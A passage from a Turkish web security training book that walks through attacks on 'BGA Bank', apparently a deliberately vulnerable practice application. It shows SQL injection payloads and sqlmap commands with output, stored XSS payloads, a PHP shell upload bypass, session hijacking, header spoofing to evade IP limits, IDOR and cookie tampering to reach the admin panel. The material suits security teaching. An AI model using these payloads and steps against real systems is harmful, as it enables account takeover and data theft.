+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+   Tablo  13.  sqlmap  veritabanından  veri  çekme   Sqlmap   sözlük   saldırısı   ile   şifreyi   çözmeyi   başarabilmiştir   fakat   sqlmap   yetersiz   kaldığında   şifreler   http://hashkiller.co.uk/md5-­‐decrypter.aspx   adresinden   MD5   veritabanında   aratılabilir.  Kullanıcı  adı  ve  parola  ile  sisteme  giriş  denenir.  (Şekil  23)       Şekil  23.  Sisteme  giriş  denemesi   Sonuç.  başarılı!  (Şekil  24)  
  • 29. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   29         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  24.  Sonuç   Diğer   veritabanları   üzerinden   denemeler   yapılabilir.   Örneğin   phpmyadmin   veritabanı,   pma_userconfig   tablosu,   username   kolonu   üzerinden   gidilirse   phpmyadmin   kullanıcılarına   ulaşılabilir   (Tablo   14).   Phpmyadmin   panelide   bilindiğinden   kullanıcı   adlarına   brute   force   yapılabilir.   (phpMyAdmin   kullanıcılarının   parola   bilgileri   veritabanında   değil   işletim   sisteminde  saklandığı  için  şifreler  veritabanından  ulaşılamaz.)      
  • 30. 30   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı URL   http://isube.bgabank.com/elmah.axd   Tablo  14.  Log  dizini  URL  bilgisi   Belirtilen  dizinde,  giriş  yapan  kullanıcıların  oturum  bilgisini  saklayan  cookieler  tutulmaktadır.   Bu  bilgiler  kullanılarak  oturum  hırsızlığı  (session  hijacking)  yapılabilir.  (Şekil  25)       Şekil  25.  Elmah.axd  dizini   İstismar  için  Chrome  ve  Firefox  tarayıcısı  ile  Firefox  eklentisi  olan  Cookie  Manager+  v1.5.2   kullanılmıştır.   Farklı   eklentiler   de   kullanılabilir.   Zafiyetin   istismarı   aşağıda   adım   adım   anlatılmıştır.                          
  • 31. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   31         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         1)  Normal  bir  müşteri(10000142  Müşteri  No.lu  Mustafa  Balaban)  olarak  Chrome  üzerinden   giriş  yapılır.       Şekil  26.  Chrome  Normal  Giriş   BGA  Bank  uygulaması  bu  kullanıcının  cookie  bilgisini  http://isube.bgabank.com/elmah.axd/   dizini  altında  kullanıcı  numarası  klasöründe  saklamaktadır.    (http://isube.bgabank.com/elmah.axd/10000142/)       Şekil  27.  Elmah.axd  Log            
  • 32. 32   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           2)   Loglardan   elde   edilen   cookie   bilgileri   Firefox   Cookie   Manager   ile   Firefox   üzerinde   değiştirilir,  olmayanlar  eklenir.     Şekil  28.  Cookie  Değiştirme   Şekil   28.   de   PHPSESSID   değeri   değiştirilmiştir.   Şekil   29.   da   ise   guest   cookie   bilgisi   FALSE   olarak  eklenmiştir.  
  • 33. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   33         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  29.  Guest  Cookie  Bilgilerini  Ekleme                          
  • 34. 34   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           3)  Firefox’da  iken  sayfa  yenilendiğinde  Mustafa  Balaban  olarak  giriş  yapıldığı  görülecektir.     Şekil  30.  Cookie  Değiştirme  Sonucu   NOT:   Bu   cookielerin   sunucudan   gelirken   görüntülemek   için   Burp   ile   sunucudan   dönen   cevaplar   içinde  araya  girmek  gerekir.  Burp  varsayılan  olarak  giden  istekler  için  araya  girer.  Proxy  →   Options  sekmesi  altında  1  ile  belirtilen  kısım  giden  istekler  için  araya  girerken,  2  ile  belirtilen   kısım  sunucudan  gelen  istekler  içinde  araya  girer.    
  • 35. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   35         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  31.  Burp  Suite  Options   Intercept  responses  based  on  the  following  rules  için  tik  koyulduktan  sonra  giriş  sonrası   sunucudan  gelen  cevap  ve  cookie  bilgileri  görüntülenebilir.      
  • 36. 36   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           13. Mesaj Gönderme Stored XSS Zafiyeti ve İstismarı URL   http://isube.bgabank.com/mesajlar.aspx?islem=yenimesaj   HTTP  Talep  Türü   POST   Payload   <img  onerror="alert(document.cookie)"  src="1.jpg">   Parametre   Mesaj  (k2)     Müşteri   girişi   yapıldıktan   sonra   Mesajlar   menüsünden   müşteri   temsilcisine   mesaj   gönderilebiliyor.   Mesaj   bölümünde   XSS   payload   girilip   gönderildiğinde,   müşteri   temsilcisi   mesajı  görüntülediği  anda  XSS  payload  çalıştırılabilir.  Adımlar  aşağıdaki  gibidir.   1)  Normal  müşteri  olarak  giriş  yapılır,  Mesajlar  menüsünden,  Yeni  Mesaj  gönder  seçilir.  (Şekil   32)     Şekil  32.  Yeni  Mesaj  Gönderme  Formu                  
  • 37. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   37         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         2)   Tablo   15   de   belirtilen   payload   Mesaj   kısmına   girilir   ve   “Devam   Et”   butonuna   tıklanır.   Ardından  temsilci  olarak  sisteme  giriş  yapılır  ve  istek  görüntülenir.  (Şekil  33)     Şekil  33.  Müşteri  ve  temsilci  mesajlar  paneli   Üstte   müşteriye   ait   olan   panelden   gönderilen   mesaj,   temsilcinin   mesajlar   paneline   düşmüştür.     3)  Temsilci  mesajı  görüntüler  ve  XSS  payloadı  çalışır.     Şekil  34.  XSS  Payload  Çalışır   Cookie  bilgisi  ekrana  bir  pop-­‐up  çıkartmak  yerine  uzak  bir  makinede  bir  dosyaya  da  yazılabilir   ve  oturum  hırsızlığı  yapılabilirdi.      
  • 38. 38   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           14. Havale/EFT Hesap Arama Kutusu SQL Injection Zafiyeti ve İstismarı URL   http://isube.bgabank.com/havale-­‐eft.aspx   HTTP  Talep  Türü   GET   Payload   a"+or+1=1;-­‐-­‐   Parametre   term   Tablo  16.  Havale/EFT  Hesap  Arama  Kutusu  SQL  Injection  Zafiyet  Bilgileri   Müşteri  girişi  yapıldıktan  sonra  Havale-­‐EFT  işlemi  sırasında,  "Varolan  Hesaplar"  kısmından   arama  yapılıp  diğer  kullanıcılar  görüntülenebilir.  Bu  bölümde  SQL  injection  zafiyeti  vardır.   Havale-­‐EFT  sayfası  ‘Varolan  Hesaplar’  kısmına  “a”  gibi  bir  harf  yazıldığında  içinde  “a”  geçen   müşteriler  listelenecektir.     Şekil  35.  Hesap  Arama   Burp  ile  araya  girildiğinde  şekil  36’da  ki  gibi  bir  isteğin  gittiği  görülür.       Şekil  36.  Burp  Suite  SQL  Injection    
  • 39. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   39         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Çeşitli   denemelerden   sonra   tablo   16   belirtilen   payload   yazıldığında   bütün   müşterilerin   listelendiği  görülür.  (Şekil  37)     Şekil  37.  Burp  Suite  Tüm  Müşterileri  Listeleme   Gönderilen  GET  datası   GET  /ajax.php?sayfa=hesap-­‐lists.php&term=a  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  application/json,  text/javascript,  */*;  q=0.01   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Content-­‐Type:  text/plain;  charset=UTF-­‐8   X-­‐Requested-­‐With:  XMLHttpRequest   Referer:  http://isube.bgabank.com/havale-­‐eft.aspx   Cookie:  PHPSESSID=ersvs83cl712mkni2jm1ru6t33;  is_admin=false;  guest=FALSE   DNT:  1   Connection:  keep-­‐alive                            
  • 40. 40   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           GET  datası  alınır  ve  bir  text  dosyasına  kaydedilir,  kaydedilen  metin  belgesi  -­‐r  parametresiyle   sqlmap  aracına  verilir.       Komut   sqlmap.py  -­‐r  ../Desktop/deneme.txt  -­‐-­‐dbms  mysql  -­‐p  term  -­‐-­‐level  3  -­‐-­‐risk  3   Çıktı   Place:  GET   Parameter:  term     Type:  UNION  query     Title:  MySQL  UNION  query  (NULL)  -­‐  14  columns     Payload:  sayfa=hesap-­‐lists.php&term=a"  UNION  ALL  SELECT   NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CON CAT(0x7171687971,0x6d6   56a4e4f7653726749,0x716f666e71)#       Type:  AND/OR  time-­‐based  blind     Title:  MySQL  >  5.0.11  OR  time-­‐based  blind     Payload:  sayfa=hesap-­‐lists.php&term=-­‐7892"  OR  5880=SLEEP(5)  AND   "oRfa"  LIKE  "oRfa        
  • 41. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   41         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         15. User-Agent Başlık Bilgisinde SQL Injection Zafiyeti ve İstismarı Müşteri  girişi  yapılırken  kullanıcı  adı  ve  şifre  doğru  ise  User-­‐Agent  bilgileri  veritabanına  kayıt   oluyor.  User-­‐Agent  başlık  bilgisinde  zaman  tabanlı  SQL  injection  zafiyeti  vardır.       URL   http://isube.bgabank.com/giris.aspx   HTTP  Talep  Türü   POST   Payload   "  AND  SLEEP(5)  AND  "1"="1   Parametre   User-­‐Agent   Tablo  17.  User-­‐Agent  Başlık  Bilgisi  SQL  Injection  Zafiyet  Bilgileri   SLEEP  fonksiyonu  MySQL’de,  MSSQL  veritabanındaki  waitfor  delay  fonksiyonun  karşılığıdır.   Tablo  17.  de  ki  payload,  user-­‐agent  başlığına  eklendiğinde,  sayfanın  5  saniye  geç  yüklendiği   görülecektir.  (Şekil  38)       Şekil  38.  Time  Based  SQL  Injection      
  • 42. 42   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           16. Profil Güncelleme Shell Upload Zafiyeti ve İstismarı Müşteri   girişi   yapıldıktan   sonra   Müşteri   Bilgilerim   menüsünde   kısmında   kullanıcıların   kendileri   için   profil   resmi   yükleyebileceği   bir   form   vardır.   Bu   formda   sadece   jpg   ve   png   uzantılı   resim   yüklenebileceği   belirtilmekte   ancak   uzantı   kontrolü   çok   basit   şekilde   yapılmaktadır.  Buraya  yüklenecek  bir  shell  ile  işletim  sistemine  komut  gönderilebilir.     Şekil  39.  Müşteri  Bilgilerim  Sayfası   Sisteme   normal   php   uzantılı   dosya   yüklenmek   istendiğinde   yükleme   başarısız   olacaktır.   Uygulamanın  geliştirme  sürecinde  yapılan  hatalardan  biri  dosya  içerisinde  noktadan  sonra   png,jpg   kontrolünün   yapılmasıdır.   Dolayısıyla   sisteme   shell.jpg.php   şeklinde   dosya   gönderildiğinde  kabul  edilecektir  çünkü  noktadan  sonra  jpg  kullanılmıştır  ama  dosya  uzantısı   php  dir.  
  • 43. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   43         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  40.  Shell  Yükleme   Shelle  ulaşıp  çalıştırmak  için  shell  lokasyonu  sayfa  kaynağından  öğrenilebilir.  (Şekil  41)     Şekil  41.  Sayfa  Kaynağı  Shell  Lokasyonu  Tespiti              
  • 44. 44   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Başka  bir  yöntem  olarak  DirBuster  programı  ile  shelle  ulaşılabilir.  (Şekil  42)     Şekil  42.  DirBuster     Yüklenen  shell  şu  şekilde  olduğu  görülecektir:   http://isube.bgabank.com/uploads/kullanıcı_id/dosya_adı.jpg.php     Şekil  43.  Shell      
  • 45. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   45         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         17. Havale/EFT Stored XSS Zafiyeti ve İstismarı Müşteri   olarak   BGA   BANK’a   giriş   yapılır.   İşlemler   →   Havale/EFT   bölümünde   k8   parametresinde  (Not  kısmı)    stored  XSS  zafiyeti  vardır.  Bu  zafiyet  istismar  edildiğinde  XSS   payloadı,   hem   Havale/EFT   yapılan   kişinin   tarayıcısında   hem   de   saldırganın   tarayıcısında,   hesap  bilgileri  görüntülendiğinde  çalışacaktır.     URL   http://isube.bgabank.com/havale-­‐eft.aspx   HTTP  Talep  Türü   POST   Payload   <script>alert(document.cookie)</script>   Parametre   k8   Tablo  18.  Havale/EFT  Stored  XSS  Zafiyet  Bilgileri   XSS   tipi   stored(depolanan)   olarak   belirtilmiştir.   Çünkü   girilen   payload   veritabanına   kaydedilmiştir.  Uygulama  içerisinde  Not’un  gösterildiği  her  yerde  bu  payload  çalışacaktır.     İstismar  adım  adım  aşağıda  anlatılmıştır.                                              
  • 46. 46   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           1)  Normal  müşteri  olarak  giriş  yapılır.  Havale  işlemi  sayfasında  bulunan  “Varolan  Hesaplar”   yardımıyla  para  havale  edilecek  müşteri  seçilir  ve  “Not”  alanına  payload  girilip  “Devam  et”   butonuna  tıklanır.  (Şekil  44)       Şekil  44.  Havale  İşlemi                
  • 47. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   47         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         2)   Havale   edilen   kişinin   hesabına   girilir.   Menuden   “Hesap   Bilgilerim”   seçilir   ve   ardından   “Devam   Et”   butonuna   tıklanır.   Açılan   sayfa   hesap   geçmişini   görüntülediğinden,   saldırgan   tarafından  gönderilen  not  bu  sayfaya  düşer  ve  XSS  payload  çalışır.  (Şekil  45)     Şekil  45.  Havale/EFT  XSS  istismarı      
  • 48. 48   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           18. Erişim Kısıtlamasını Atlatma Her  kullanıcı  Ayarlar  bölümünden  BGABANK’a  erişebileceği  IP'yi  belirtebilir  ve  artık  sadece  o   IP  üzerinden  erişim  sağlanır.  Bu  kısıtlama  iki  şekilde  atlatılabilmektedir.     1)  Uygulamaya  mobil  olarak  giriş  yapılırsa  IP  kısıtlaması  atlatılmış  olur.     IP  erişimini  belirleme:     Şekil  46.  Ayarları  Özelleştirme                    
  • 49. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   49         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         User-­‐Agent  değiştirmek  için  Firefox’ta  User  Agent  Switcher  eklentisi  kullanılabilir.  Ya  da  Şekil   47  de  ki  gibi  Burp  Suite  ile  User-­‐Agent  değeri  değiştirilerek  giriş  yapılabilir.     Şeki  47.  Burp  Suite  İle  User-­‐Agent  Bilgisi  Değiştirme   Örnek  POST  datası   POST  /giris.aspx  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:   Opera/9.80   (Android;   Opera   Mini/7.5.33361/31.1543;   U;   en)   Presto/2.8.119   Version/11.1010   Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Referer:  http://isube.bgabank.com/giris.aspx   Cookie:  PHPSESSID=qbs1b2qas1j7gk9olkbb27s6p4   Connection:  keep-­‐alive   Content-­‐Type:  application/x-­‐www-­‐form-­‐urlencoded   Content-­‐Length:  38     b_musterino=10000142&b_password=sifre                  
  • 50. 50   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           2)   X-­‐Forwarded-­‐For   başlık   bilgisi   ekleyerek   de   bu   engel   atlatılabilir.   Farklı   bir   IP   ile   giriş   yapılmaya  çalışıldığında  kullanıcının  izin  verdiği  IP  bilgisi  ekrana  yazdırılmaktadır.  (Şekil  48)       Şekil  48.  IP  Yasağı   Ekrana  yazdırılan  IP  bilgisini  kullanmak  için  Burp  proxy  aracı  ile  araya  girilir.  Şekil  49  da  ki  gibi   X-­‐Forwarded-­‐For:  1.1.1.1  (yada  izin  verilen  IP  ne  ise)  başlık  bilgisi  girilir.     Şekil  49.  X-­‐Forwarded-­‐For   Sisteme  başarıyla  giriş  yapılır.      
  • 51. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   51         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         19. Havale/EFT İşlemi Mantık Hatası ve İstismarı Uygulamaya   web   üzerinden   girildiğinde   Havale/EFT   işlemleri   için   ücret   kesilirken,   mobil   cihazlardan    girildiğinde  ücret  kesilmemektedir.  Bu  zafiyet  ile  User-­‐Agent  bilgisi  mobil  cihaz   olacak  şekilde  değiştirilerek  havale/EFT  işlemi  ücretsiz  yapılabilir.     Şekil  50.  User-­‐Agent  Switcher   Aşağıda   web   ve   mobil   olarak   iki   arayüz   gösterilmiştir.   Web   arayüzde   yapılan   işlemlerden   ücret  kesileceği  uyarısı  yer  almaktadır  fakat  mobilde  bu  uyarıya  yer  verilmemiştir.   Web                  
  • 52. 52   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Mobil        
  • 53. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   53         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve İstismarı Müşteri,   profil   bilgilerini   Müşteri   Bilgilerim   menüsü   altında   bulabilmektedir.   Bu   sayfadaki   bilgiler   Tablo   19   da   belirtilen   musteriID   parametresi   ile   veritabanından   çağrılmaktadır.   Parametre   değeri   değiştirilip   başka   bir   değer   girildiğinde   sisteme   kayıtlı   diğer   müşteri   bilgilerine  erişim  sağlanabilmektedir.   URL   http://isube.bgabank.com/profil.aspx?musteriID=11   HTTP  Talep  Türü   GET   Parametre   musteriID   Tablo  19.  Müşteri  Bilgileri  Insecure  Direct  Object  Zafiyet  Bilgileri                                      
  • 54. 54   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Şekil  51.  de  sisteme  musteriID  değeri  11  olan  Mustafa  Balaban  olarak  giriş  yapılmıştır.     Şekil  51.  Müşteri  Bilgileri                    
  • 55. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   55         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Tablo   19.   da   verilen   URL   bilgisinin   sonunda   bulunan   11   olan   mustediID   parametresinin   değeri  12  olarak  değiştirildiğinde  şekil  52  de  görüldüğü  gibi  başka  bir  kullanıcının  bilgilerine   ulaşılır.     Şekil  52.  Başka  Müşteri  Bilgileri      
  • 56. 56   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı Ziyaretçi  defteri  sayfasında  yer  alan  “Mesajınız”  kısmında  Stored  XSS  zafiyeti  vardır.  İstismar   edildiğinde,   stored   tipinde   bir   XSS   olduğu   için,   ilgili   sayfa   her   ziyaret   edildiğinde   payload   çalışacaktır.   URL   http://isube.bgabank.com/ziyaretcidef.aspx   HTTP  Talep  Türü   POST   Payload   <script>alert(document.cookie)</script>   Parametre   k4   Tablo  20.  Ziyaretçi  Defteri  Stored  XSS  Zafiyet  Bilgileri   Tablo   20.   de   yer   alan   payload   şekil   53.   deki   gibi   “Mesajınız”   kısmına   yazılır   ve   sisteme   gönderilir.         Şekil  53.  Ziyaretçi  Defteri                
  • 57. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   57         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Sonuç,  başarılı.  (Şekil  54)   Şekil  54.  Sonuç      
  • 58. 58   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           22. Çalışmayan Captcha Uygulaması URL   http://isube.bgabank.com/administrator.aspx   Tablo  21.  Çalışmayan  Captcha  Adresi   Tablo  21.  de  belirtilen  adreste  bulunan  captcha  çalışmamaktadır.  Administrator  giriş  sayfası   için  sadece  captchanın  boş  olup  olmadığının  kontrolü  yapılmaktadır.     Şekil  55.  Başarısız  Deneme     Şekil  56.  Başarılı  Deneme      
  • 59. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   59         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme URL   http://isube.bgabank.com/iletisim.aspx   Tablo  22.  Captcha  Adresi   BGA   Bank   iletişim   sayfasında   bulunan   captchanın   doğru   bir   şekilde   girildiğinin   kontrolü   yapılmaktadır   (Şekil   57)   ancak   araya   girilerek   tek   bir   captcha   ile   çok   fazla   GET   isteği   gönderilebilir.       Şekil  57.  İletişim  Sayfası  Boş  Captcha  Sonucu  
  • 60. 60   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr             Şekil  58.  İletişim  Sayfası  Captcha  Kontrolü   İstismar  için  gönderilen  GET  isteği  örneği  aşağıdaki  gibidir.  Burada  aynı  captcha  kullanılarak   sadece  mail  adresleri  değiştirilip  gönderilmiştir.  Örnek  GET  isteği  aşağıdaki  gibidir.   GET   /ajax.php?sayfa=iletisim.php&k1=Ceylan&k2=Bozogullarindan&k3=(554)+478+87+88&k4=Ba %C5%9Fvuru+Hakk%C4%B1nda&k5=Ornek+mesaj&k6=deneme%40bga.com.tr&k7=ptisan   HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  text/html,  */*;  q=0.01   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Content-­‐Type:  text/plain;  charset:UTF-­‐8   X-­‐Requested-­‐With:  XMLHttpRequest   Referer:  http://isube.bgabank.com/iletisim.aspx   Cookie:  PHPSESSID=uq0vkig0f89mg24dse8s8akdu2   DNT:  1   Connection:  keep-­‐alive  
  • 61. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   61         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Ekran  görüntüsünde  ve  örnek  GET  isteğinde  görülebileceği  gibi  mail  adreslerini  fuzz  etmek   için  Burp  üzerinde  k6  parametresine  §§  sembolleri  eklenmiştir.  (Şekil  59)     Şekil  59.  Burp  Suite  Intruder  Pozisyon  Belirleme   Örnek  olarak  oluşturulan  sahte  email  adresleri  başarıyla  yollanmıştır.  (Şekil  60)     Şekil  60.  Sonuç      
  • 62. 62   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak Senaryo:  Öncelikle  hedef  sistemde  yönetim  paneli  bulunur.  Ardından  yanlış  bilgilerle  giriş   yapılmaya   çalışılır.   Sunucudan   gelen   cevap   takip   edildiğinde   Set-­‐cookie   başlık   bilgisinde   “is_admin=false”  gibi  bir  değerin  döndüğü  görülür.  Bu  değer  true  olarak  girilse  dahi  yönetici   kullanıcı   bilgilerine   sahip   olmadan   giriş   yapılamayacaktır.   Bu   nedenle   uygulamaya   normal   müşteri  olarak  giriş  yapılmaya  çalışılır  (Beni  hatırla  seçeneğinin  aktif  olması  gerekir.).  Giden   isteğe  araya  girilerek  Cookie  başlık  bilgisine  is_admin=true  değeri  eklenir.  Ancak  bu  da  tek   başına  yeterli  olmayacaktır.  Normal  bir  müşteriye  sunucudan  cookie  bilgisinde  user_id,  u_p,   u_a   gibi   geriye   değerler   döner.   Bu   değerler   user_id   haricinde   encode   olarak   geldiği   için   anahtar  olmadan  çözmek  zordur.  user_id  değeri  ise  kullanıcının  sistemde  kayıtlı  olduğu  id   değeridir.  Yönetici  olarak  giriş  yapabilmek  için  yöneticinin  user_id  değerini  de  tahmin  etmek   gerekir.  Web  uygulamalarında  genelde  yönetici  değerleri  0,1  gibi  değerler  taşır.  BGA  Bank’da   user_id=1   ve   user_id=2   değerleri   müşteri   temsilcilerine   aittir.   Cookie   başlık   bilgisinde   bulunan  user_id  bu  değerlerden  birisiyle  değiştirilip  istek  gönderildiğinde  yönetici  paneli  ele   geçirilmiş  olur.   1)  Yönetici  paneline  giriş  denenir.   Gönderilen  İstek   GET  /ajax.php?sayfa=temsilcigiris.php&k=11111111&s=1111111&c=AA  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  text/html,  */*;  q=0.01   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Content-­‐Type:  text/plain;  charset:UTF-­‐8   X-­‐Requested-­‐With:  XMLHttpRequest   Referer:  http://isube.bgabank.com/administrator.aspx   Cookie:  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6   DNT:  1   Connection:  keep-­‐alive     Sunucudan  Dönen  Cevap  ve  Set-­‐Cookie  Değeri   HTTP/1.1  200  OK   Date:  Sat,  13  Sep  2014  19:17:58  GMT   Server:  Apache/2.4.7  (Ubuntu)   X-­‐Powered-­‐By:  PHP/5.5.9-­‐1ubuntu4.3   Expires:  Thu,  19  Nov  1981  08:52:00  GMT   Cache-­‐Control:  no-­‐store,  no-­‐cache,  must-­‐revalidate,  post-­‐check=0,  pre-­‐check=0   Pragma:  no-­‐cache   L-­‐IP:  172.16.16.100   Set-­‐Cookie:  is_admin=false;  expires=Sat,  13-­‐Sep-­‐2014  20:17:58  GMT;  Max-­‐Age=3600   Content-­‐Length:  22  
  • 63. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   63         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Keep-­‐Alive:  timeout=5,  max=100   Connection:  Keep-­‐Alive   Content-­‐Type:  text/html     Bilgileriniz  Yanlış!       Şekil  61.  Sunucudan  Dönen  Cevap   2)  Müşteri  girişi  POST  isteği  parametreleri  aşağıdaki  gibi  değiştirilerek  istek  olarak  sunucuya   gönderilir.   Normal  müşteri  girişi,  POST  isteği  aşağıdaki  gibidir.  Bu  isteğe  araya  girip  user_id  değerinin   değiştirilmesi   ve   is_admin=true   değerinin   eklenmesi   gerekir.     Gönderilen  İstek   POST  /giris.aspx  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding: 